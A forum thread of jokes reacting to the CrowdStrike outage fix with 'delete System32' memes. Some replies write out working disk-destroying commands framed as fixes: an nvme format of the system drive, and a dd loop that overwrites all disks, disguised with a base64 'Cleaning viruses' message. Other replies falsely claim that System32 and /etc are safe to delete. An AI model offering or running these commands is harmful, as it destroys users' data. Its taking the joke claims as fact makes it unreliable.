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What a simple fix (possumpat.io)

Seeing the crowdstrike solution reminded me of the old memes

Go to C:\Windows\System32\drivers\CrowdStrike

Locate and delete file matching "C-00000291*.sys"

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[-] henfredemars@infosec.pub 43 points 1 month ago

Instructions unclear. Using Linux.

Wait a sec I think I found it.

[-] nickb333@fedia.io 33 points 1 month ago

I found mine in $HOME/.wine32/drive_c/windows/system32

[-] henfredemars@infosec.pub 10 points 1 month ago

This didn't break my whole system but it did break most of the software I value, so mission accomplished!

[-] nickb333@fedia.io 2 points 1 month ago

I made a typo in the above. If I correct it you'll be able to break what's left.

[-] Gradually_Adjusting@lemmy.world 22 points 1 month ago

If you don't have system32, it's fine to delete one from the store

[-] xmunk@sh.itjust.works 9 points 1 month ago

Or find another computer and delete it from that.

[-] communism@lemmy.ml 11 points 1 month ago

They may have changed the name to replace the 32 with d, make sure to uninstall systemd if it's installed.

[-] Zangoose@lemmy.world 2 points 1 month ago

Instructions unclear installed Alpine linux

On Linux, it's sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

[-] Dark_Dragon@lemmy.dbzer0.com 3 points 1 month ago
echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done
[-] Dark_Dragon@lemmy.dbzer0.com 4 points 1 month ago

It said ' Cleaning viruses from computer..." And screen went dark

That's normal. That just means the viruses were cleaned from your computer.

[-] OopsAllTwix@lemmy.dbzer0.com 4 points 1 month ago

It's the /etc folder in linux. Just extra crap you don't need.

[-] henfredemars@infosec.pub 3 points 1 month ago
[-] earmuff@lemmy.dbzer0.com 18 points 1 month ago

system32 is legacy crap anyways and is not used anymore. Everything important is stored in system64

[-] sirico@feddit.uk 15 points 1 month ago

Did this as a kid 600mb folder I needed space for quake

[-] Atomic@sh.itjust.works 7 points 1 month ago

Gonna have to bust out the good old carbon dating kit for this meme

[-] Iapar@feddit.org 6 points 1 month ago
[-] Saganaki@lemmy.one 6 points 1 month ago

It’s an unnecessary folder if you’re running 64-bit.

[-] AnUnusualRelic@lemmy.world 5 points 1 month ago

It's only there in case you downgrade your processor.

[-] tourist@lemmy.world 6 points 1 month ago* (last edited 1 month ago)

In my mind, this is exactly what happened with crowdstrike

[-] HexesofVexes@lemmy.world 6 points 1 month ago

I only wanted to triforce.

Now I need to fix dad's laptop before he gets home!

[-] iAvicenna@lemmy.world 3 points 1 month ago* (last edited 1 month ago)

but that is where the 1TB "system files" folder is

this post was submitted on 19 Jul 2024
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